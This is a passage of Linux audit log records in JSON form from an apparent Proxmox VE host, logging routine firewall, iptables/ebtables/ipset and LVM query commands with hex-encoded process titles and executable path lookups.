{"@timestamp":1781965262358,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965262.358:64854): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966080303,"@rawstring":"node=pve type=PATH msg=audit(1781966080.303:68351): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965262358,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965262.358:64853): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966080303,"@rawstring":"node=pve type=PATH msg=audit(1781966080.303:68350): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965262350,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965262.350:64852): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075639,"@rawstring":"node=pve type=PATH msg=audit(1781966075.639:68349): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965262350,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965262.350:64851): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075639,"@rawstring":"node=pve type=PATH msg=audit(1781966075.639:68349): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965262350,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965262.350:64850): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075636,"@rawstring":"node=pve type=PATH msg=audit(1781966075.636:68348): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965257339,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965257.339:64849): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075636,"@rawstring":"node=pve type=PATH msg=audit(1781966075.636:68348): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965257339,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965257.339:64848): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075635,"@rawstring":"node=pve type=PATH msg=audit(1781966075.635:68347): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965257339,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965257.339:64847): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075635,"@rawstring":"node=pve type=PATH msg=audit(1781966075.635:68347): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965257333,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965257.333:64846): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075635,"@rawstring":"node=pve type=PATH msg=audit(1781966075.635:68346): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965257333,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965257.333:64845): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075631,"@rawstring":"node=pve type=PATH msg=audit(1781966075.631:68345): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965257333,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965257.333:64844): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075631,"@rawstring":"node=pve type=PATH msg=audit(1781966075.631:68345): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255984,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.984:64843): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966075631,"@rawstring":"node=pve type=PATH msg=audit(1781966075.631:68345): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255978,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.978:64842): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966075623,"@rawstring":"node=pve type=PATH msg=audit(1781966075.623:68344): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255978,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.978:64841): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966075623,"@rawstring":"node=pve type=PATH msg=audit(1781966075.623:68344): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255978,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.978:64840): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966075616,"@rawstring":"node=pve type=PATH msg=audit(1781966075.616:68343): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255973,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.973:64839): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966075616,"@rawstring":"node=pve type=PATH msg=audit(1781966075.616:68343): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255967,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.967:64838): proctitle=\"ip6tables-save\""} {"@timestamp":1781966075608,"@rawstring":"node=pve type=PATH msg=audit(1781966075.608:68342): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255959,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.959:64837): proctitle=\"iptables-save\""} {"@timestamp":1781966075608,"@rawstring":"node=pve type=PATH msg=audit(1781966075.608:68342): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255951,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.951:64836): proctitle=\"ip6tables-save\""} {"@timestamp":1781966075600,"@rawstring":"node=pve type=PATH msg=audit(1781966075.600:68341): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255945,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.945:64835): proctitle=\"iptables-save\""} {"@timestamp":1781966075600,"@rawstring":"node=pve type=PATH msg=audit(1781966075.600:68341): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255940,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.940:64834): proctitle=\"ebtables-restore\""} {"@timestamp":1781966075593,"@rawstring":"node=pve type=PATH msg=audit(1781966075.593:68339): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255939,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.939:64833): proctitle=\"ebtables-restore\""} {"@timestamp":1781966075593,"@rawstring":"node=pve type=PATH msg=audit(1781966075.593:68339): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255932,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.932:64832): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966075587,"@rawstring":"node=pve type=PATH msg=audit(1781966075.587:68338): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255926,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.926:64831): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966075587,"@rawstring":"node=pve type=PATH msg=audit(1781966075.587:68338): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255922,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.922:64830): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966075580,"@rawstring":"node=pve type=PATH msg=audit(1781966075.580:68337): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255917,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.917:64829): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966075580,"@rawstring":"node=pve type=PATH msg=audit(1781966075.580:68337): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255911,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.911:64828): proctitle=697073657400726573746F7265"} {"@timestamp":1781966075574,"@rawstring":"node=pve type=PATH msg=audit(1781966075.574:68336): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255904,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.904:64827): proctitle=\"ip6tables-save\""} {"@timestamp":1781966075574,"@rawstring":"node=pve type=PATH msg=audit(1781966075.574:68336): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.896:64826): proctitle=\"iptables-save\""} {"@timestamp":1781966075567,"@rawstring":"node=pve type=PATH msg=audit(1781966075.567:68335): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255892,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.892:64825): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966075567,"@rawstring":"node=pve type=PATH msg=audit(1781966075.567:68335): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.890:64824): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966075561,"@rawstring":"node=pve type=PATH msg=audit(1781966075.561:68334): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255889,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.889:64823): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966075561,"@rawstring":"node=pve type=PATH msg=audit(1781966075.561:68334): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.887:64822): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966075553,"@rawstring":"node=pve type=PATH msg=audit(1781966075.553:68333): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.883:64821): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966075553,"@rawstring":"node=pve type=PATH msg=audit(1781966075.553:68333): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255875,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.875:64820): proctitle=\"ip6tables-save\""} {"@timestamp":1781966075546,"@rawstring":"node=pve type=PATH msg=audit(1781966075.546:68332): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255869,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.869:64819): proctitle=\"iptables-save\""} {"@timestamp":1781966075546,"@rawstring":"node=pve type=PATH msg=audit(1781966075.546:68332): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255863,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.863:64818): proctitle=69707365740073617665"} {"@timestamp":1781966075541,"@rawstring":"node=pve type=PATH msg=audit(1781966075.541:68331): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255855,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.855:64817): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966075541,"@rawstring":"node=pve type=PATH msg=audit(1781966075.541:68331): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255849,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965255.849:64816): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966075538,"@rawstring":"node=pve type=PATH msg=audit(1781966075.538:68330): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965254248,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965254.248:64815): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966075538,"@rawstring":"node=pve type=PATH msg=audit(1781966075.538:68330): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965254209,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965254.209:64814): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966075537,"@rawstring":"node=pve type=PATH msg=audit(1781966075.537:68329): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965252325,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965252.325:64813): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075537,"@rawstring":"node=pve type=PATH msg=audit(1781966075.537:68329): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965252325,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965252.325:64812): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075537,"@rawstring":"node=pve type=PATH msg=audit(1781966075.537:68328): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965252325,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965252.325:64811): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075533,"@rawstring":"node=pve type=PATH msg=audit(1781966075.533:68327): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965252314,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965252.314:64810): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075533,"@rawstring":"node=pve type=PATH msg=audit(1781966075.533:68327): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965252314,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965252.314:64809): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075533,"@rawstring":"node=pve type=PATH msg=audit(1781966075.533:68327): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965252314,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965252.314:64808): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075526,"@rawstring":"node=pve type=PATH msg=audit(1781966075.526:68326): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965247305,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965247.305:64807): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075526,"@rawstring":"node=pve type=PATH msg=audit(1781966075.526:68326): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965247305,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965247.305:64806): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075518,"@rawstring":"node=pve type=PATH msg=audit(1781966075.518:68325): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965247305,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965247.305:64805): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075518,"@rawstring":"node=pve type=PATH msg=audit(1781966075.518:68325): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965247298,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965247.298:64804): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075512,"@rawstring":"node=pve type=PATH msg=audit(1781966075.512:68324): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965247298,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965247.298:64803): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075512,"@rawstring":"node=pve type=PATH msg=audit(1781966075.512:68324): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965247298,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965247.298:64802): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966075504,"@rawstring":"node=pve type=PATH msg=audit(1781966075.504:68323): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245838,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.838:64801): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965245835,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.835:64800): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966075504,"@rawstring":"node=pve type=PATH msg=audit(1781966075.504:68323): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245834,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.834:64799): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966075496,"@rawstring":"node=pve type=PATH msg=audit(1781966075.496:68322): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245831,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.831:64798): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966075496,"@rawstring":"node=pve type=PATH msg=audit(1781966075.496:68322): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245828,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.828:64797): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966075294,"@rawstring":"node=pve type=PATH msg=audit(1781966075.294:68321): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245819,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.819:64796): proctitle=\"ip6tables-save\""} {"@timestamp":1781966075294,"@rawstring":"node=pve type=PATH msg=audit(1781966075.294:68321): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245810,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.810:64795): proctitle=\"iptables-save\""} {"@timestamp":1781966075294,"@rawstring":"node=pve type=PATH 